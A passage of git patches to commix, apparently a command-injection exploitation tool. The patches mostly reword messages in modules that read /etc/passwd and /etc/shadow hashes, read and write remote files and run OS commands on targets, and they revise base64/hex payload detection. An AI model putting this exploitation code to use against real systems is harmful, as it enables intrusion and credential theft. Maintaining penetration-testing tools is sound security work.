print(settings.print_info_msg(info_msg)) @@ -59,19 +59,19 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -101,7 +101,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 292dc91897..74998f7872 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -468,7 +468,8 @@ def check_os_shell_options(cmd, technique, go_back, no_result): def procced_with_file_based_technique(): while True: if not menu.options.batch: - question_msg = "Do you want to procced with the (semi-blind) " + question_msg = "Due to the provided '--web-root' option," + question_msg += " do you want to procced with the (semi-blind) " question_msg += "file-based injection technique? [Y/n] > " enable_fb = _input(settings.print_question_msg(question_msg)) else: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 150f79739d..2eaa747617 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -287,7 +287,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -357,8 +357,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Unix-like users enumeration. else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -451,8 +451,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") @@ -491,8 +491,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = sys_passes.replace(" ", "\n") @@ -536,8 +536,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print("\n" + settings.print_warning_msg(warn_msg)) """ @@ -547,7 +547,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ cmd = menu.options.os_cmd # if menu.file_access_options(): # sys.stdout.flush() - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index b467ba67f0..2e9ecaa27c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -36,7 +36,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -60,19 +60,19 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -105,7 +105,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index f77cadba06..6155a8537c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -289,7 +289,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Windows users enumeration. if settings.TARGET_OS == "win": info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -358,8 +358,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method pass else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -452,8 +452,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: @@ -492,8 +492,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -538,8 +538,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print("\n" + settings.print_warning_msg(warn_msg)) """ @@ -547,7 +547,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py index 219383511f..e9e92fefc2 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_file_access.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_file_access.py @@ -36,7 +36,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -60,19 +60,19 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -103,7 +103,7 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 683a785a2b..25175bc380 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -268,7 +268,7 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -340,8 +340,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else: # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -434,8 +434,8 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") @@ -472,8 +472,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys_passes = " " # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -518,8 +518,8 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print("\n" + settings.print_warning_msg(warn_msg)) """ @@ -527,7 +527,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 87fb39797c..a57d588e7e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -35,7 +35,7 @@ """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -56,19 +56,19 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -99,7 +99,7 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 25a7350230..031574444a 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -270,7 +270,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " + info_msg += "in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -339,8 +339,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -433,8 +433,8 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() except TypeError: @@ -444,7 +444,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass @@ -474,7 +474,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti if sys_passes : if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching '" + settings.SHADOW_FILE + "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys_passes = "".join(str(p) for p in sys_passes) @@ -518,8 +518,8 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() @@ -527,7 +527,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti Single os-shell execution """ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - info_msg = "Executing the '" + cmd + "' command." + info_msg = "Executing the user-supplied command '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 999d39283a..c611c9356c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -37,7 +37,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Trying to read the content of file '" + info_msg = "Fetching the content of the file '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -61,20 +61,20 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: sys.stdout.flush() warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of file '" + file_to_read + "'." + warn_msg += "to read the content of the file '" + file_to_read + "'." print(settings.print_warning_msg(warn_msg)) """ @@ -104,7 +104,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: dest_to_write = menu.options.file_dest - info_msg = "Trying to write content of file '" + info_msg = "Trying to write the content of the file '" info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." print(settings.print_info_msg(info_msg)) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index adbd108bc1..cb9a1918f6 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -185,8 +185,8 @@ def enumeration(url, cve, check_header, filename): if menu.options.users: cmd = settings.SYS_USERS sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " + info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: @@ -280,8 +280,8 @@ def enumeration(url, cve, check_header, filename): else: sys.stdout.write(settings.FAIL_STATUS) sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." print("\n" + settings.print_warning_msg(warn_msg)) except TypeError: sys.stdout.write(settings.FAIL_STATUS + "\n") @@ -291,7 +291,7 @@ def enumeration(url, cve, check_header, filename): except IndexError: sys.stdout.write(settings.FAIL_STATUS) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + warn_msg += settings.PASSWD_FILE + "'." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) sys.stdout.flush() pass @@ -308,8 +308,8 @@ def enumeration(url, cve, check_header, filename): sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split( ) if len(sys_passes) != 0 : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " + info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write(settings.SUCCESS_STATUS) @@ -349,8 +349,8 @@ def enumeration(url, cve, check_header, filename): output_file.write(" " + fields[0]) output_file.close() else: - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." print(settings.print_warning_msg(warn_msg)) settings.ENUMERATION_DONE = True @@ -464,13 +464,13 @@ def file_access(url, cve, check_header, filename): cmd = "cat " + settings.FILE_READ + file_to_read shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "Content of file '" - info_msg += file_to_read + "' has been extracted." + info_msg = "Fetched content of the file '" + info_msg += file_to_read + "'." print(settings.print_bold_info_msg(info_msg)) print(settings.print_sub_content(shell)) output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "Extracted content of file '" + info_msg = "Extracted content of the file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 6dde46d08d..bf4d87735a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "45" +REVISION = "46" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f80ed3e67b4c1c33000d355195a652328c71234a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 29 Apr 2022 07:17:58 +0300 Subject: [PATCH 123/560] Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 41 +++++++++++++------- src/core/injections/controller/controller.py | 5 +++ src/core/requests/parameters.py | 4 ++ src/utils/settings.py | 6 ++- 5 files changed, 41 insertions(+), 16 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index cc35e5fdf1..3f693d5d54 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. * Revised: Minor improvement regarding redirect handler. * Updated: Minor update regarding scanning multiple targets given in a textual file (i.e. via option `-m`). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 74998f7872..4a2482b96d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1008,16 +1008,15 @@ def tamper_scripts(stored_tamper_scripts): if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[3]) + print(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[0] + "'." + err_msg += "in tamper script '" + import_script.split(".")[-1] + "'." print(settings.print_critical_msg(err_msg)) raise SystemExit() except ImportError as err_msg: - print(settings.print_error_msg(str(err_msg) + ".")) pass # Using too many tamper scripts is usually not a good idea. :P @@ -1235,25 +1234,39 @@ def recognise_payload(payload): payload = sleep2timeout.tamper(payload) is_decoded = False - if (len(payload) % 4 == 0) and \ - re.match(settings.BASE64_RECOGNITION_REGEX, payload) and \ - not re.match(settings.HEX_RECOGNITION_REGEX, payload): + encoded_with = "" + check_value = payload + + if not re.match(settings.HEX_RECOGNITION_REGEX, check_value): + if re.match(settings.BASE64_RECOGNITION_REGEX, check_value + settings.BASE64_PADDING ) and not settings.BASE64_PADDING in check_value: + check_value = payload + settings.BASE64_PADDING + + if (len(check_value.strip()) % 4 == 0) and \ + re.match(settings.BASE64_RECOGNITION_REGEX, check_value) and \ + not re.match(settings.HEX_RECOGNITION_REGEX, check_value): is_decoded = True settings.MULTI_ENCODED_PAYLOAD.append("base64encode") - decoded_payload = base64.b64decode(payload) - if re.match(settings.HEX_RECOGNITION_REGEX, payload): + decoded_payload = base64.b64decode(check_value) + encoded_with = "base64" + if re.match(settings.HEX_RECOGNITION_REGEX, check_value): settings.MULTI_ENCODED_PAYLOAD.append("hexencode") decoded_payload = hexdecode(decoded_payload) + encoded_with = "hex" - elif re.match(settings.HEX_RECOGNITION_REGEX, payload): + elif re.match(settings.HEX_RECOGNITION_REGEX, check_value): is_decoded = True settings.MULTI_ENCODED_PAYLOAD.append("hexencode") - decoded_payload = hexdecode(payload) - if (len(payload) % 4 == 0) and \ + decoded_payload = hexdecode(check_value) + encoded_with = "hex" + if (len(check_value.strip()) % 4 == 0) and \ re.match(settings.BASE64_RECOGNITION_REGEX, decoded_payload) and \ not re.match(settings.HEX_RECOGNITION_REGEX, decoded_payload): settings.MULTI_ENCODED_PAYLOAD.append("base64encode") decoded_payload = base64.b64decode(decoded_payload) + encoded_with = "base64" + + else: + decoded_payload = payload for encode_type in settings.MULTI_ENCODED_PAYLOAD: # Encode payload to base64 format. @@ -1264,15 +1277,15 @@ def recognise_payload(payload): hex_output(payload) if is_decoded: - return _urllib.parse.quote(decoded_payload) + return _urllib.parse.quote(decoded_payload), encoded_with else: - return payload + return payload, encoded_with """ Check for stored payloads and enable tamper scripts. """ def check_for_stored_tamper(payload): - decoded_payload = recognise_payload(payload) + decoded_payload, encoded_with = recognise_payload(payload) whitespace_check(decoded_payload) other_symbols(decoded_payload) check_quotes(decoded_payload) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 6ba341de85..07217d8538 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -372,6 +372,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time debug_msg = "Skipping heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) else: + decoded_value, decoded_with = checks.recognise_payload(payload=settings.TESTABLE_VALUE) + if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: + warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." + print(settings.print_warning_msg(warn_msg)) + if 